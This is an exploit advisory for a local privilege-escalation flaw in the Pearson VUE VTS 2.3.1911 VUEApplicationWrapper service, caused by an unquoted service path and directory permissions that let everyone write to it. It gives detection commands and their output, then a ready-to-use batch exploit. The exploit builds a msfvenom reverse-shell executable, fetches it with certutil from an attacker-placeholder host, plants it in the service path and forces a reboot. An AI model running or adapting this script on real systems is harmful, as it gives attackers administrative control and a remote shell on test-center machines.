Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path

2020-12-01
ID: 103640
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Discovery by: Jok3r
# Discovery Date: 2020-09-14
# Vendor Homepage: https://home.pearsonvue.com/
# Software Link: https://vss.pearsonvue.com/VSSFiles/Documents/ENU_TCInstallGuide/Download_VTS_Installer.htm
# Tested Version: 2.3.1911
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

#Description:

The Application Wrapper is the component that automates the Pearson VUE Testing System. The Wrapper is a scheduler that runs in the background on the test center’s server.
VUEApplicationWrapper service has an unquoted service path vulnerability and insecure file permissions on "\Pearson VUE\" directory that allows to overwrite by everyone so that unauthorized local user can leverage privileges to VUEService user that has administrative rights.

# Detection of unquoted service path:

C:\Users\VUEService>wmic service get name, pathname, displayname, startmode| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" |findstr /i /v """
VUE Application Wrapper
VUEApplicationWrapper C:\Pearson VUE\VUE
Testing System\bin\VUEWrapper.exe
Auto

C:\Users\VUEService>sc qc VUEApplicationWrapper
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VUEApplicationWrapper
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Pearson VUE\VUE TestingSystem\bin\VUEWrapper.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VUE Application Wrapper
DEPENDENCIES : lanmanworkstation
SERVICE_START_NAME : .\VUEService


#Detection of insecure file permissions:

PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"


Directory: C:\


Path Owner Access
---- ----- ------
Pearson Vue BUILTIN\Administrators Everyone Allow FullControl...


#Exploit code:

ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i "Auto" |findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """
sc qc VUEApplicationWrapper
powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'"
ECHO [+] Enumeration was completed successfully.
::Create VUE.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP Address>LPORT=443 -f exe > VUE.exe
ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your privileges, you might be able to get VUEService user privileges after windows was rebooted.
certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe "C:\PearsonVUE\VUE.exe"
ECHO [*] Downloading VUE executable...
PAUSE
IF EXIST "C:\Pearson VUE\VUE.exe" (
ECHO [+] The download was successful.
) ELSE (
ECHO [-] The download was unsuccessful.
PAUSE
)
ECHO [!] If you continue, system will be rebooted.
PAUSE
shutdown /r /t 0
::code end
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